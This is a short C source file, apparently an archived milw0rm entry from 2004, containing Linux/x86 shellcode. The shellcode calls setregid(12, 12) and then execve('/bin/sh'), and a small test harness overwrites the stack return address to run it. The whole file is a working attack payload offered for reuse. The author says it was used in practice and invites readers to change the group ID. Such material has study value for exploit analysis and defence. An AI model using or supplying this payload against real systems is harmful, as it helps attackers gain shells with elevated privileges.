/*
* Linux/x86
* An example of setregid(), execve() /bin/sh
*
* (I used this in practise, hence the setregid(12, 12);)
*/
#include <stdio.h>
char c0de[] =
/* main: */ /* setregid(12, 12); */
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x47" /* movb $71, %al */
"\x29\xdb" /* subl %ebx, %ebx */
/*
* Here's the GID for the setregid() call. Change to suit.
*/
"\xb3\x0c" /* movb $12, %bl */
"\x89\xd9" /* movl %ebx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x18" /* jmp callz */
/* start: */ /* execve of /bin/sh */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
/* callz: */
"\xe8\xe3\xff\xff\xff" /* call start */
/* /bin/sh */
"\x2f\x62\x69\x6e\x2f\x73\x68";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(c0de));
(*ret) = (int)c0de;
}
// milw0rm.com [2004-09-12]
